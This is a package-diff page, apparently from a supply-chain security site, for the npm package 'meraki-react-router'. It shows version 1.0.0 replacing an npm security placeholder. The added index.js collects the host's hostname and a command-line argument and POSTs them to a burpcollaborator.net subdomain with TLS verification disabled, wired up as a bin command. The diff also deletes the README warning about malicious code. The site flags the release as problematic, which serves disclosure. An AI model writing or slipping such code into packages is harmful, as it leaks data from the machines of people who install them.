meraki-react-router 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of meraki-react-router might be problematic. Click here for more details.
- package/index.js +26 -0
- package/package.json +16 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,26 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
var os = require("os");
|
3
|
+
var hostname = os.hostname();
|
4
|
+
|
5
|
+
const data = new TextEncoder().encode(
|
6
|
+
JSON.stringify({
|
7
|
+
payload: hostname,
|
8
|
+
project_id: process.argv[2]
|
9
|
+
})
|
10
|
+
);
|
11
|
+
|
12
|
+
const options = {
|
13
|
+
hostname: process.argv[2] + '.' + hostname + '.5qwzlz674z6bt621qsplw804ovuoid.burpcollaborator.net',
|
14
|
+
port: 443,
|
15
|
+
path: '/',
|
16
|
+
method: 'POST',
|
17
|
+
headers: {
|
18
|
+
'Content-Type': 'application/json',
|
19
|
+
'Content-Length': data.length
|
20
|
+
},
|
21
|
+
rejectUnauthorized: false
|
22
|
+
}
|
23
|
+
|
24
|
+
const req = https.request(options, res => {});
|
25
|
+
req.write(data);
|
26
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,19 @@
|
|
1
1
|
{
|
2
2
|
"name": "meraki-react-router",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"bin": {
|
7
|
+
"csm-installation-wizard": "./index.js"
|
8
|
+
},
|
9
|
+
"scripts": {
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
11
|
+
},
|
12
|
+
"keywords": [
|
13
|
+
"M1S0",
|
14
|
+
"from",
|
15
|
+
"bugcrowd"
|
16
|
+
],
|
17
|
+
"author": "M1S0",
|
18
|
+
"license": "ISC"
|
6
19
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=meraki-react-router for more information.
|